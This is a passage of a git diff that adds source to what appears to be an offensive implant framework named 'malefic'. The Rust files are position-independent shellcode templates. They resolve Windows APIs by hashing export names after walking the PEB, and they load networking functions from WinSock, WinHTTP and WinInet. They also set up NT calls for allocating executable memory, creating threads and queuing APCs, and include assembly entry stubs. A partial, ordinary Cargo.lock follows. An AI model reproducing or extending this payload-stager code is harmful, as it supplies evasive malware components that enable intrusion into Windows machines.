(*export_dir).AddressOfNameOrdinals as usize) as *mut u16; + + for i in 0..(*export_dir).NumberOfNames { + let name_rva = *names.offset(i as isize); + let name = (module_base + name_rva as usize) as *const u8; + + if hash_string(name) == symbol_hash as u32 { + let ordinal = *ordinals.offset(i as isize) as isize; + let function_rva = *functions.offset(ordinal); + address = module_base + function_rva as usize; + break; + } + } + + address +} + +pub unsafe fn api(module_base: usize, symbol_hash: usize) -> *mut T { + _api(module_base, symbol_hash) as *mut T +} + +#[macro_export] +macro_rules! resolve_api { + ($module:expr, $name:ident) => { + $crate::resolve::api::( + $module, + $crate::hash_str!(stringify!($name)) as usize, + ) as *const unsafe extern "system" fn() + }; +} diff --git a/malefic-pulse/src/template/instance_template b/malefic-pulse/src/template/instance_template new file mode 100644 index 0000000..bbe8ccf --- /dev/null +++ b/malefic-pulse/src/template/instance_template @@ -0,0 +1,225 @@ +use crate::constants::{ + AF_INET, END_OFFSET, IPPROTO_TCP, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, + PAGE_READWRITE, SOCK_STREAM, STATUS_SUCCESS, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, +}; +use crate::hash_str; +use crate::resolve; +use crate::windows::*; +use core::ffi::c_void; + +// kernel32 function pointer types +type FnLoadLibraryA = unsafe extern "system" fn(lpLibFileName: PSTR) -> HMODULE; +type FnGetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PSTR) -> PVOID; + +// ws2_32 function pointer types +type FnWSAStartup = unsafe extern "system" fn(wVersionRequested: WORD, lpWSAData: *mut WSADATA) -> i32; +type FnSocket = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> usize; +type FnConnect = unsafe extern "system" fn(s: usize, name: *const SOCKADDR_IN, namelen: i32) -> i32; +type FnSend = unsafe extern "system" fn(s: usize, buf: *const u8, len: i32, flags: i32) -> i32; +type FnRecv = unsafe extern "system" fn(s: usize, buf: *mut u8, len: i32, flags: i32) -> i32; +type FnClosesocket = unsafe extern "system" fn(s: usize) -> i32; +type FnInetAddr = unsafe extern "system" fn(cp: *const u8) -> u32; +type FnHtons = unsafe extern "system" fn(hostshort: u16) -> u16; + +// winhttp.dll function pointer types +type FnWinHttpOpen = unsafe extern "system" fn( + pszAgentW: LPCWSTR, dwAccessType: DWORD, pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpConnect = unsafe extern "system" fn( + hSession: HANDLE, pswzServerName: LPCWSTR, nServerPort: WORD, dwReserved: DWORD, +) -> HANDLE; +type FnWinHttpOpenRequest = unsafe extern "system" fn( + hConnect: HANDLE, pwszVerb: LPCWSTR, pwszObjectName: LPCWSTR, + pwszVersion: LPCWSTR, pwszReferrer: LPCWSTR, ppwszAcceptTypes: *const LPCWSTR, + dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpSendRequest = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: LPCWSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, + dwTotalLength: DWORD, dwContext: usize, +) -> BOOL; +type FnWinHttpReceiveResponse = unsafe extern "system" fn( + hRequest: HANDLE, lpReserved: PVOID, +) -> BOOL; +type FnWinHttpReadData = unsafe extern "system" fn( + hRequest: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnWinHttpCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnWinHttpSetOption = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// wininet.dll function pointer types +type FnInternetOpenA = unsafe extern "system" fn( + lpszAgent: PSTR, dwAccessType: DWORD, lpszProxy: PSTR, + lpszProxyBypass: PSTR, dwFlags: DWORD, +) -> HANDLE; +type FnInternetConnectA = unsafe extern "system" fn( + hInternet: HANDLE, lpszServerName: PSTR, nServerPort: WORD, + lpszUserName: PSTR, lpszPassword: PSTR, + dwService: DWORD, dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpOpenRequestA = unsafe extern "system" fn( + hConnect: HANDLE, lpszVerb: PSTR, lpszObjectName: PSTR, + lpszVersion: PSTR, lpszReferrer: PSTR, lplpszAcceptTypes: *const PSTR, + dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpSendRequestA = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: PSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, +) -> BOOL; +type FnInternetReadFile = unsafe extern "system" fn( + hFile: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnInternetCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnInternetSetOptionA = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// ntdll NtAPI function pointer types +type FnNtAllocateVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, +) -> NTSTATUS; +type FnNtProtectVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: *mut ULONG, +) -> NTSTATUS; +type FnNtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PVOID, +) -> NTSTATUS; +type FnNtQueueApcThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, +) -> NTSTATUS; +type FnNtAlertResumeThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut ULONG, +) -> NTSTATUS; +type FnNtWaitForSingleObject = unsafe extern "system" fn( + Handle: HANDLE, + Alertable: BOOL, + Timeout: *mut i64, +) -> NTSTATUS; + +pub struct Instance { + pub base: BaseInfo, + pub ntdll: NtdllModule, + pub kernel32: Kernel32Module, +} + +pub struct BaseInfo { + pub address: usize, + pub length: usize, +} + +pub struct NtdllModule { + pub handle: usize, + pub NtAllocateVirtualMemory: *mut FnNtAllocateVirtualMemory, + pub NtProtectVirtualMemory: *mut FnNtProtectVirtualMemory, + pub NtCreateThreadEx: *mut FnNtCreateThreadEx, + pub NtQueueApcThread: *mut FnNtQueueApcThread, + pub NtAlertResumeThread: *mut FnNtAlertResumeThread, + pub NtWaitForSingleObject: *mut FnNtWaitForSingleObject, +} + +pub struct Kernel32Module { + pub handle: usize, + pub LoadLibraryA: *mut FnLoadLibraryA, + pub GetProcAddress: *mut FnGetProcAddress, +} + +impl Instance { + pub fn new() -> Self { + unsafe { + let mut instance = Instance { + base: BaseInfo { + address: 0, + length: 0, + }, + ntdll: NtdllModule { + handle: 0, + NtAllocateVirtualMemory: core::ptr::null_mut(), + NtProtectVirtualMemory: core::ptr::null_mut(), + NtCreateThreadEx: core::ptr::null_mut(), + NtQueueApcThread: core::ptr::null_mut(), + NtAlertResumeThread: core::ptr::null_mut(), + NtWaitForSingleObject: core::ptr::null_mut(), + }, + kernel32: Kernel32Module { + handle: 0, + LoadLibraryA: core::ptr::null_mut(), + GetProcAddress: core::ptr::null_mut(), + }, + }; + + instance.base.address = crate::RipStart(); + instance.base.length = + (crate::RipData() - instance.base.address) + END_OFFSET; + + instance.ntdll.handle = resolve::module(hash_str!("ntdll.dll")); + if instance.ntdll.handle == 0 { + return instance; + } + + instance.kernel32.handle = resolve::module(hash_str!("kernel32.dll")); + if instance.kernel32.handle == 0 { + return instance; + } + + // Resolve kernel32 APIs + instance.kernel32.LoadLibraryA = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("LoadLibraryA") as usize), + ); + instance.kernel32.GetProcAddress = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("GetProcAddress") as usize), + ); + + // Resolve ntdll APIs + instance.ntdll.NtAllocateVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAllocateVirtualMemory") as usize), + ); + instance.ntdll.NtProtectVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtProtectVirtualMemory") as usize), + ); + instance.ntdll.NtCreateThreadEx = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtCreateThreadEx") as usize), + ); + instance.ntdll.NtQueueApcThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtQueueApcThread") as usize), + ); + instance.ntdll.NtAlertResumeThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAlertResumeThread") as usize), + ); + instance.ntdll.NtWaitForSingleObject = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtWaitForSingleObject") as usize), + ); + + instance + } + } + + // INSTANCE_START_MARKER - malefic-mutant appends start() and closes impl below diff --git a/malefic-pulse/src/template/x64_common_template b/malefic-pulse/src/template/x64_common_template new file mode 100644 index 0000000..f383816 --- /dev/null +++ b/malefic-pulse/src/template/x64_common_template @@ -0,0 +1,26 @@ +#![no_std] +#![no_main] +#![feature(naked_functions)] +#![allow(invalid_value)] +use core::arch::asm; + +#[naked] +#[no_mangle] +unsafe extern "C" fn _start() { + asm!( + " + push rsi + mov rsi, rsp + and rsp, 0xFFFFFFFFFFFFFFF0 + sub rsp, 0x20 + call {fire} + mov rsp, rsi + pop rsi + ret + ", + fire = sym fire, + options(noreturn) + ); +} +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; \ No newline at end of file diff --git a/malefic-pulse/src/template/x86_common_template b/malefic-pulse/src/template/x86_common_template new file mode 100644 index 0000000..f15de6c --- /dev/null +++ b/malefic-pulse/src/template/x86_common_template @@ -0,0 +1,24 @@ +#![no_std] +#![no_main] +#![feature(naked_functions)] +#![allow(invalid_value)] +use core::arch::asm; + +#[naked] +#[no_mangle] +unsafe extern "C" fn _start() { + asm!( + " + push ebp + mov ebp, esp + call {fire} + mov esp, ebp + pop ebp + ret", + fire = sym fire, + options(noreturn) + ); +} + +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; \ No newline at end of file diff --git a/malefic-pulse/src/windows.rs b/malefic-pulse/src/windows.rs new file mode 100644 index 0000000..8b7063c --- /dev/null +++ b/malefic-pulse/src/windows.rs @@ -0,0 +1,347 @@ +#![allow(non_snake_case, non_camel_case_types)] + +use core::ffi::c_void; + +// Windows basic types +pub type BYTE = u8; +pub type WORD = u16; +pub type DWORD = u32; +pub type LONG = i32; +pub type ULONG = u32; +pub type ULONG_PTR = usize; +pub type PVOID = *mut c_void; +pub type LPVOID = *mut c_void; +pub type HANDLE = PVOID; +pub type HMODULE = HANDLE; +pub type BOOL = i32; +pub type PSTR = *mut u8; +pub type PWSTR = *mut u16; +pub type PCH = *const i8; +pub type LPCSTR = *const i8; +pub type LPCWSTR = *const u16; +pub type UINT = u32; +pub type WCHAR = u16; +pub type NTSTATUS = i32; +pub type SIZE_T = usize; +pub type PSIZE_T = *mut SIZE_T; +pub type ACCESS_MASK = DWORD; + +// Windows structures +#[repr(C)] +pub struct LIST_ENTRY { + pub Flink: *mut LIST_ENTRY, + pub Blink: *mut LIST_ENTRY, +} +pub type PLIST_ENTRY = *mut LIST_ENTRY; + +#[repr(C)] +pub struct UNICODE_STRING { + pub Length: u16, + pub MaximumLength: u16, + pub Buffer: *mut WCHAR, +} +pub type PUNICODE_STRING = *mut UNICODE_STRING; + +#[repr(C)] +pub struct CLIENT_ID { + pub UniqueProcess: HANDLE, + pub UniqueThread: HANDLE, +} + +#[repr(C)] +pub struct RTL_USER_PROCESS_PARAMETERS { + pub Reserved1: [BYTE; 16], + pub Reserved2: [PVOID; 10], + pub ImagePathName: UNICODE_STRING, + pub CommandLine: UNICODE_STRING, +} +pub type PRTL_USER_PROCESS_PARAMETERS = *mut RTL_USER_PROCESS_PARAMETERS; + +#[repr(C)] +pub struct PEB_LDR_DATA { + pub Length: ULONG, + pub Initialized: BOOL, + pub SsHandle: HANDLE, + pub InLoadOrderModuleList: LIST_ENTRY, + pub InMemoryOrderModuleList: LIST_ENTRY, + pub InInitializationOrderModuleList: LIST_ENTRY, +} +pub type PPEB_LDR_DATA = *mut PEB_LDR_DATA; + +#[repr(C)] +pub struct LDR_DATA_TABLE_ENTRY { + pub InLoadOrderLinks: LIST_ENTRY, + pub InMemoryOrderLinks: LIST_ENTRY, + pub InInitializationOrderLinks: LIST_ENTRY, + pub OriginalBase: PVOID, + pub EntryPoint: PVOID, + pub SizeOfImage: ULONG, + pub FullDllName: UNICODE_STRING, + pub BaseDllName: UNICODE_STRING, + pub Flags: ULONG, + pub LoadCount: u16, + pub TlsIndex: u16, + pub HashLinks: LIST_ENTRY, + pub TimeDateStamp: ULONG, +} +pub type PLDR_DATA_TABLE_ENTRY = *mut LDR_DATA_TABLE_ENTRY; + +#[repr(C)] +pub struct PEB { + pub InheritedAddressSpace: BYTE, + pub ReadImageFileExecOptions: BYTE, + pub BeingDebugged: BYTE, + pub BitField: BYTE, + pub Mutant: HANDLE, + pub ImageBaseAddress: PVOID, + pub Ldr: *mut PEB_LDR_DATA, + pub ProcessParameters: PRTL_USER_PROCESS_PARAMETERS, +} +pub type PPEB = *mut PEB; + +#[repr(C)] +pub struct TEB { + pub Reserved1: [BYTE; 12], + pub ProcessEnvironmentBlock: PPEB, + pub Reserved2: [BYTE; 399], + pub ClientId: CLIENT_ID, +} +pub type PTEB = *mut TEB; + +// PE Format structures +#[repr(C)] +pub struct IMAGE_DOS_HEADER { + pub e_magic: WORD, + pub e_cblp: WORD, + pub e_cp: WORD, + pub e_crlc: WORD, + pub e_cparhdr: WORD, + pub e_minalloc: WORD, + pub e_maxalloc: WORD, + pub e_ss: WORD, + pub e_sp: WORD, + pub e_csum: WORD, + pub e_ip: WORD, + pub e_cs: WORD, + pub e_lfarlc: WORD, + pub e_ovno: WORD, + pub e_res: [WORD; 4], + pub e_oemid: WORD, + pub e_oeminfo: WORD, + pub e_res2: [WORD; 10], + pub e_lfanew: LONG, +} +pub type PIMAGE_DOS_HEADER = *mut IMAGE_DOS_HEADER; + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: DWORD, + pub Size: DWORD, +} +pub type PIMAGE_DATA_DIRECTORY = *mut IMAGE_DATA_DIRECTORY; + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER64 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub ImageBase: u64, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER32 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub BaseOfData: DWORD, + pub ImageBase: DWORD, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: DWORD, + pub SizeOfStackCommit: DWORD, + pub SizeOfHeapReserve: DWORD, + pub SizeOfHeapCommit: DWORD, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: WORD, + pub NumberOfSections: WORD, + pub TimeDateStamp: DWORD, + pub PointerToSymbolTable: DWORD, + pub NumberOfSymbols: DWORD, + pub SizeOfOptionalHeader: WORD, + pub Characteristics: WORD, +} + +#[cfg(target_arch = "x86_64")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER32, +} + +pub type PIMAGE_NT_HEADERS = *mut IMAGE_NT_HEADERS; + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: DWORD, + pub TimeDateStamp: DWORD, + pub MajorVersion: WORD, + pub MinorVersion: WORD, + pub Name: DWORD, + pub Base: DWORD, + pub NumberOfFunctions: DWORD, + pub NumberOfNames: DWORD, + pub AddressOfFunctions: DWORD, + pub AddressOfNames: DWORD, + pub AddressOfNameOrdinals: DWORD, +} +pub type PIMAGE_EXPORT_DIRECTORY = *mut IMAGE_EXPORT_DIRECTORY; + +// WinSock structures +#[repr(C)] +pub struct WSADATA { + pub wVersion: WORD, + pub wHighVersion: WORD, + #[cfg(target_arch = "x86_64")] + pub iMaxSockets: u16, + #[cfg(target_arch = "x86_64")] + pub iMaxUdpDg: u16, + #[cfg(target_arch = "x86_64")] + pub lpVendorInfo: *mut u8, + pub szDescription: [u8; 257], + pub szSystemStatus: [u8; 129], + #[cfg(target_arch = "x86")] + pub iMaxSockets: u16, + #[cfg(target_arch = "x86")] + pub iMaxUdpDg: u16, + #[cfg(target_arch = "x86")] + pub lpVendorInfo: *mut u8, +} + +#[repr(C)] +pub struct IN_ADDR { + pub s_addr: u32, +} + +#[repr(C)] +pub struct SOCKADDR_IN { + pub sin_family: i16, + pub sin_port: u16, + pub sin_addr: IN_ADDR, + pub sin_zero: [u8; 8], +} + +// OBJECT_ATTRIBUTES for NtCreateThreadEx +#[repr(C)] +pub struct OBJECT_ATTRIBUTES { + pub Length: ULONG, + pub RootDirectory: HANDLE, + pub ObjectName: PUNICODE_STRING, + pub Attributes: ULONG, + pub SecurityDescriptor: PVOID, + pub SecurityQualityOfService: PVOID, +} + +// Helper functions for accessing TEB/PEB +#[cfg(target_arch = "x86_64")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + let teb: PTEB; + core::arch::asm!( + "mov {}, gs:[0x30]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb +} + +#[cfg(target_arch = "x86")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + let teb: PTEB; + core::arch::asm!( + "mov {}, fs:[0x18]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb +} + +#[cfg(target_arch = "x86_64")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} + +#[cfg(target_arch = "x86")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, fs:[0x30]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} diff --git a/malefic-starship/Cargo.lock b/malefic-starship/Cargo.lock new file mode 100644 index 0000000..01e00f9 --- /dev/null +++ b/malefic-starship/Cargo.lock @@ -0,0 +1,1654 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix 1.1.4", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener", + "futures-lite", + "rustix 1.1.4", +] + +[[package]] +name = "async-signal" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43c070bbf59cd3570b6b2dd54cd772527c7c3620fce8be898406dd3ed6adc64c" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 1.1.4", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bindgen" +version = "0.72.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" +dependencies = [ + "bitflags 2.11.0", + "cexpr", + "clang-sys", + "itertools 0.13.0", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.117", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" +dependencies = [ + "async-channel", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cbindgen" +version = "0.24.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b922faaf31122819ec80c4047cc684c6979a087366c069611e33649bf98e18d" +dependencies = [ + "clap", + "heck 0.4.1", + "indexmap", + "log", + "proc-macro2", + "quote", + "serde", + "serde_json", + "syn 1.0.109", + "tempfile", + "toml", +] + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "3.2.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea181bf566f71cb9a5d17a59e1871af638180a18fb0035c92ae62b705207123" +dependencies = [ + "atty", + "bitflags 1.3.2", + "clap_lex", + "indexmap", + "strsim", + "termcolor", + "textwrap", +] + +[[package]] +name = "clap_lex" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" +dependencies = [ + "os_str_bytes", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 